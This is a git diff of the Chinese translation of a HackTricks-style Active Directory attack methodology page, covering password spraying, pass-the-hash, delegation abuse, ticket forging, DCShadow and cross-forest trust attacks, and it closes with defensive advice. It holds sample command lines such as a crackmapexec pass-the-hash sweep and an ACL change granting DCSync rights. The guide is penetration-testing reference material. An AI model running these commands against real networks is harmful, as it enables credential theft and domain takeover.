-- [**Password Spraying**](password-spraying.md):让我们尝试每个发现的用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
+- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以 **喷洒 OWA 服务器** 来尝试访问用户的邮件服务器。
{{#ref}}
@@ -129,11 +129,11 @@ password-spraying.md
### NTML 中继
-如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境。
+如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTML [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* 来访问 AD 环境。
### 偷取 NTLM 凭证
-如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **窃取** **NTLM 挑战** 进行破解:
+如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将会 **触发对你的 NTML 认证**,这样你就可以 **偷取** **NTLM 挑战** 进行破解:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@@ -151,7 +151,7 @@ kerberos-double-hop-problem.md
### 枚举
-成功妥协一个账户是 **开始妥协整个域的重要一步**,因为你将能够开始 **活动目录枚举:**
+成功妥协一个账户是 **开始妥协整个域的重大步骤**,因为你将能够开始 **活动目录枚举:**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**Password Spraying**](password-spraying.md),你可以获得 **所有用户名的列表** 并尝试妥协账户的密码、空密码和新的有前景的密码。
@@ -162,7 +162,7 @@ kerberos-double-hop-problem.md
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
-- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword_ 和 _unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户评论的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
+- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索凭证,查找字段 _userPassword_ 和 _unixUserPassword_,甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户评论中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@@ -189,13 +189,13 @@ kerberoast.md
### 本地权限提升
-如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有在本地管理员权限下,你才能 **转储其他用户的哈希**(在内存中 LSASS 和本地 SAM)。
+如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中(LSASS)和本地(SAM)转储其他用户的哈希**。
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
-你 **不太可能** 在当前用户中找到 **票证**,使你能够访问意外资源,但你可以检查:
+你 **不太可能** 在当前用户中找到 **票证**,使你有权限访问意外资源,但你可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@@ -229,25 +229,25 @@ kerberoast.md
printnightmare.md
{{#endref}}
-## 在具有特权凭据/会话的 Active Directory 上进行特权提升
+## 使用特权凭据/会话在活动目录上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
### 哈希提取
希望你已经成功**破坏了一些本地管理员**账户,使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/index.html)。\
-然后,是时候在内存和本地转储所有哈希了。\
+然后,是时候转储内存和本地的所有哈希了。\
[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 传递哈希
**一旦你拥有用户的哈希**,你可以用它来**冒充**该用户。\
-你需要使用某些**工具**来**执行**使用该**哈希的 NTLM 认证**,**或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
+你需要使用一些**工具**来**执行**使用该**哈希的 NTLM 认证**,**或者**你可以创建一个新的**sessionlogon**并**注入**该**哈希**到**LSASS**中,这样当任何**NTLM 认证被执行**时,该**哈希将被使用。**最后一个选项就是 mimikatz 所做的。\
[**阅读此页面以获取更多信息。**](../ntlm/index.html#pass-the-hash)
-### 超越哈希/传递密钥
+### 超越传递哈希/传递密钥
-此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
+此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
{{#ref}}
over-pass-the-hash-pass-the-key.md
@@ -270,40 +270,40 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
-> 请注意,这非常**嘈杂**,而且**LAPS**会**减轻**这种情况。
+> 请注意,这非常**嘈杂**,并且**LAPS**会**减轻**它。
### MSSQL 滥用与受信任链接
如果用户有权限**访问 MSSQL 实例**,他可能能够利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **哈希**,甚至执行**中继****攻击**。\
-此外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在那里他可以执行命令。\
+此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在其中执行命令。\
**数据库之间的链接甚至可以跨森林信任工作。**
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
-### 不受限委托
+### 不受限制的委派
-如果你发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](
) 的计算机对象,并且你在该计算机上拥有域权限,你将能够从登录到该计算机的每个用户的内存中转储 TGT。\
-因此,如果**域管理员登录到计算机**,你将能够转储他的 TGT,并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
-由于受限委托,你甚至可以**自动妥协打印服务器**(希望它是 DC)。
+如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION]() 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
+因此,如果**域管理员登录到计算机**,您将能够转储他的 TGT,并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
+由于受限委派,您甚至可以**自动妥协打印服务器**(希望它是 DC)。
{{#ref}}
unconstrained-delegation.md
{{#endref}}
-### 受限委托
+### 受限委派
-如果用户或计算机被允许进行“受限委托”,它将能够**冒充任何用户访问计算机中的某些服务**。\
-然后,如果你**妥协**了该用户/计算机的哈希,你将能够**冒充任何用户**(甚至是域管理员)访问某些服务。
+如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户以访问计算机上的某些服务**。\
+然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
{{#ref}}
constrained-delegation.md
{{#endref}}
-### 基于资源的受限委托
+### 基于资源的受限委派
-在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行:
+在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
{{#ref}}
resource-based-constrained-delegation.md
@@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### ACL 滥用
-被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让你**横向移动**/**提升**权限。
+被妥协的用户可能对某些域对象具有一些**有趣的权限**,这可能让您**横向移动**/**提升**权限。
{{#ref}}
acl-persistence-abuse/
@@ -319,7 +319,7 @@ acl-persistence-abuse/
### 打印机后台处理程序服务滥用
-发现域内**后台处理程序服务**的**监听**可以被**滥用**以**获取新凭据**并**提升权限**。
+发现域内**后台处理程序服务**可以被**滥用**以**获取新凭据**并**提升权限**。
{{#ref}}
printers-spooler-service-abuse.md
@@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### 第三方会话滥用
-如果**其他用户****访问**了**被妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\
+如果**其他用户****访问**被**妥协**的机器,可能会**从内存中收集凭据**,甚至**在他们的进程中注入信标**以冒充他们。\
通常用户会通过 RDP 访问系统,因此这里有如何对第三方 RDP 会话执行几种攻击的方法:
{{#ref}}
@@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
-**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,访问通过 ACL 控制,仅限授权用户。拥有足够权限访问这些密码后,转向其他计算机变得可能。
+**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统,确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中,访问通过 ACL 仅限授权用户控制。拥有足够权限访问这些密码后,可以实现对其他计算机的转移。
{{#ref}}
laps.md
@@ -352,17 +352,17 @@ ad-certificates/certificate-theft.md
### 证书模板滥用
-如果配置了**易受攻击的模板**,可以利用它们来提升权限:
+如果配置了**易受攻击的模板**,则可以滥用它们以提升权限:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
-## 高权限账户的后期利用
+## 使用高权限账户的后期利用
### 转储域凭据
-一旦你获得了**域管理员**或更好的**企业管理员**权限,你可以**转储**域数据库:_ntds.dit_。
+一旦您获得**域管理员**或更好的**企业管理员**权限,您可以**转储**域数据库:_ntds.dit_。
[**有关 DCSync 攻击的更多信息可以在这里找到**](dcsync.md)。
@@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
### 权限提升作为持久性
之前讨论的一些技术可以用于持久性。\
-例如,你可以:
+例如,您可以:
- 使用户易受[**Kerberoast**](kerberoast.md)攻击
@@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### 银票
-**银票攻击**为特定服务创建一个**合法的票据授予服务(TGS)票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
+**银票攻击**为特定服务创建一个**合法的票据授予服务 (TGS) 票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
{{#ref}}
silver-ticket.md
@@ -411,7 +411,7 @@ golden-ticket.md
### 钻石票
-这些票据类似于金票,但伪造的方式**绕过常见的金票检测机制**。
+这些就像金票,以一种**绕过常见金票检测机制**的方式伪造。
{{#ref}}
diamond-ticket.md
@@ -419,7 +419,7 @@ diamond-ticket.md
### **证书账户持久性**
-**拥有账户的证书或能够请求它们**是能够在用户账户中持久化的非常好方法(即使他更改密码):
+**拥有账户的证书或能够请求它们**是能够在用户账户中持久存在的非常好方法(即使他更改密码):
{{#ref}}
ad-certificates/account-persistence.md
@@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
### **证书域持久性**
-**使用证书也可以在域内以高权限持久化:**
+**使用证书也可以在域内以高权限持久存在:**
{{#ref}}
ad-certificates/domain-persistence.md
@@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
-Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可以被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本是为了保护,但如果不加以监控,可能会适得其反,导致不当访问。
+Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)**来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本意是保护,但如果不加以监控,可能会适得其反,导致不当访问。
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL 持久性
-你可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
+您可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
{{#ref}}
acl-persistence-abuse/
@@ -457,7 +457,7 @@ acl-persistence-abuse/
### 安全描述符
-**安全描述符**用于**存储**一个**对象**对另一个**对象**的**权限**。如果你只需对一个对象的**安全描述符**进行**小改动**,你就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
+**安全描述符**用于**存储**对象对另一个对象的**权限**。如果您只需对对象的**安全描述符**进行**小改动**,就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
{{#ref}}
security-descriptors.md
@@ -474,7 +474,7 @@ skeleton-key.md
### 自定义 SSP
[了解什么是 SSP(安全支持提供者)在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-你可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
+您可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
{{#ref}}
custom-ssp.md
@@ -482,8 +482,8 @@ custom-ssp.md
### DCShadow
-它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**(SIDHistory、SPNs...),**不留**任何关于**修改**的**日志**。你**需要 DA** 权限并在**根域**内。\
-请注意,如果使用错误的数据,会出现相当丑陋的日志。
+它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**(SIDHistory、SPNs...),**不留**任何关于**修改**的**日志**。您**需要 DA** 权限并在**根域**内。\
+请注意,如果您使用错误的数据,将会出现相当丑陋的日志。
{{#ref}}
dcshadow.md
@@ -491,8 +491,8 @@ dcshadow.md
### LAPS 持久性
-之前我们讨论了如果你有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
-检查:
+之前我们讨论了如果您有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
+请查看:
{{#ref}}
laps.md
@@ -504,33 +504,33 @@ laps.md
### 基本信息
-[**域信任**]()是一种安全机制,使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域建立信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
+[**域信任**]()是一种安全机制,使一个**域**中的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域建立信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨域 TGT 后,它会发出 TGS,授予用户访问该服务的权限。
**步骤**:
-1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
+1. **域 1**中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)**请求**票据授予票据 (TGT)**。
2. 如果客户端成功通过身份验证,DC1 会发出新的 TGT。
-3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。
+3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中的资源所需的。
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
-6. DC2 使用其共享信任密钥验证跨域 TGT,如果有效,则为客户端希望访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
+6. DC2 使用其共享信任密钥验证跨域 TGT,如果有效,则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器的账户哈希进行加密,以获取对域 2 中服务的访问权限。
### 不同的信任
-重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的。在最后一种情况下,**你只能从受信任的域访问信任域内的资源**。
+重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
如果域 A 信任域 B,A 是信任域,B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。
**不同的信任关系**
- **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
-- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程得以缩短,这在地理分散的环境中特别有利。
-- **外部信任**:这些信任在不同的、不相关的域之间建立,且本质上是非传递的。根据[微软的文档](),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过对外部信任进行 SID 过滤,安全性得以增强。
-- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林中非常重要,使其能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南]()。
-- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。
+- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
+- **外部信任**:这些信任在不同的、不相关的域之间建立,具有非传递性。根据[微软的文档](),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
+- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南]()。
+- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制实施 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
@@ -541,14 +541,14 @@ laps.md
### 攻击路径
1. **枚举**信任关系
-2. 检查是否有任何**安全主体**(用户/组/计算机)对**另一个域**的资源有**访问**权限,可能通过 ACE 条目或通过在另一个域的组中。寻找**跨域的关系**(信任可能是为此创建的)。
+2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
1. 在这种情况下,kerberoast 可能是另一个选项。
-3. **妥协**可以**跨域**进行**转移**的**账户**。
+3. **妥协**可以**跨域**转移的**账户**。
攻击者可以通过三种主要机制访问另一个域中的资源:
- **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。
-- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,这种方法的有效性取决于信任的性质和组的范围。
+- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,此方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
### 子到父森林权限提升
@@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
-> 有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
+> 这里有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 您可以使用以下命令查看当前域使用的密钥:
>
> ```bash
@@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History 注入
-通过 SID-History 注入利用信任关系以企业管理员身份提升到子/父域:
+通过 SID-History 注入,作为企业管理员提升到子/父域,利用信任关系:
{{#ref}}
sid-history-injection.md
@@ -582,7 +582,7 @@ sid-history-injection.md
#### 利用可写的配置 NC
-理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上具有 **SYSTEM 权限**,最好是子 DC。
+理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC。
**将 GPO 链接到根 DC 站点**
@@ -592,7 +592,7 @@ sid-history-injection.md
**危害森林中的任何 gMSA**
-一个攻击向量涉及针对域内特权 gMSA。KDS Root 密钥是计算 gMSA 密码所必需的,存储在配置 NC 中。通过在任何 DC 上具有 SYSTEM 权限,可以访问 KDS Root 密钥并计算森林中任何 gMSA 的密码。
+一个攻击向量涉及针对域内特权 gMSA。KDS Root 密钥是计算 gMSA 密码所必需的,存储在配置 NC 中。通过在任何 DC 上拥有 SYSTEM 权限,可以访问 KDS Root 密钥并计算森林中任何 gMSA 的密码。
详细分析可以在关于 [黄金 gMSA 信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) 的讨论中找到。
@@ -606,7 +606,7 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。
-有关此内容的更多详细信息,请参阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者能够设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
+有关更多详细信息,请阅读 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
### 外部森林域 - 单向(入站)或双向
```powershell
@@ -647,7 +647,7 @@ external-forest-domain-one-way-outbound.md
另一种妥协受信任域的方法是查找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
-另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**的机器上,通过**RDP**登录。然后,攻击者可以在RDP会话进程中注入代码,并从那里**访问受害者的源域**。\
+另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问的**机器上,通过**RDP**登录。然后,攻击者可以在RDP会话进程中注入代码,并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}}
@@ -658,12 +658,12 @@ rdp-sessions-abuse.md
### **SID过滤:**
-- 通过SID过滤来减轻利用SID历史属性进行攻击的风险,该过滤在所有森林间信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为森林间信任是安全的,这是微软的立场。
+- 通过SID过滤来减轻利用SID历史属性进行攻击的风险,该过滤在所有跨森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 然而,有一个问题:SID过滤可能会干扰应用程序和用户访问,导致其偶尔被禁用。
-### **选择性认证:**
+### **选择性身份验证:**
-- 对于森林间信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
+- 对于跨森林信任,采用选择性身份验证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是,这些措施并不能保护免受可写配置命名上下文(NC)的利用或对信任账户的攻击。
[**有关域信任的更多信息,请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{{#ref}}
-https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
+https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## 一些通用防御
@@ -682,7 +682,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务账户权限**:服务不应以域管理员(DA)权限运行,以维护安全性。
-- **临时权限限制**:对于需要DA权限的任务,应限制其持续时间。这可以通过以下方式实现:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **临时权限限制**:对于需要DA权限的任务,其持续时间应有限制。这可以通过:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`来实现。
### **实施欺骗技术**
@@ -692,8 +692,8 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **识别欺骗**
-- **对于用户对象**:可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。
-- **一般指标**:比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。
+- **对于用户对象**:可疑指标包括不寻常的ObjectSID、稀少的登录、创建日期和低错误密码计数。
+- **一般指标**:比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。工具如[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)可以帮助识别此类欺骗。
### **绕过检测系统**
diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md
index 5cc3c8669..3061b7d48 100644
--- a/src/windows-hardening/lateral-movement/README.md
+++ b/src/windows-hardening/lateral-movement/README.md
@@ -1,8 +1,8 @@
-# 横向移动
+# Lateral Movement
{{#include ../../banners/hacktricks-training.md}}
-有不同的方法在外部系统中执行命令,这里可以找到主要Windows横向移动技术的工作原理解释:
+在外部系统中执行命令有不同的方法,这里可以找到主要Windows横向移动技术的工作原理说明:
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
@@ -10,8 +10,8 @@
